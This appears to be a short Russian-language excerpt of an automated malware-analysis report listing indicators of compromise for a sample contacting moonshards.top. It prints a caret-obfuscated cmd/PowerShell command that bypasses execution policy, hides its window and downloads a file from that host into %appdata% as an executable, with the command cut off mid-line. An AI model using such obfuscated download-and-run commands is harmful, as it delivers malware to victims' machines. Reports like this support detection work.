Техническая информация
- http://moonshards.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "p^oWERshELL.E^XE -^e^xEcu^t^ioNPOl^IC^Y B^y^pAS^S^ ^-NopR^OfI^LE^ ^-wi^ndo^wST^Y^LE hIddeN (NeW-O^bJ^Ect^ s^ys^t^eM.NeT^.^wE^b^c^lI^ENt)^.DOWnlOad^F^IlE('http://moonshards...
- DNS ASK mo###hards.top
- '<SYSTEM32>\cmd.exe' /C "p^oWERshELL.E^XE -^e^xEcu^t^ioNPOl^IC^Y B^y^pAS^S^ ^-NopR^OfI^LE^ ^-wi^ndo^wST^Y^LE hIddeN (NeW-O^bJ^Ect^ s^ys^t^eM.NeT^.^wE^b^c^lI^ENt)^.DOWnlOad^F^IlE('http://moonshards...' (со скрытым окном)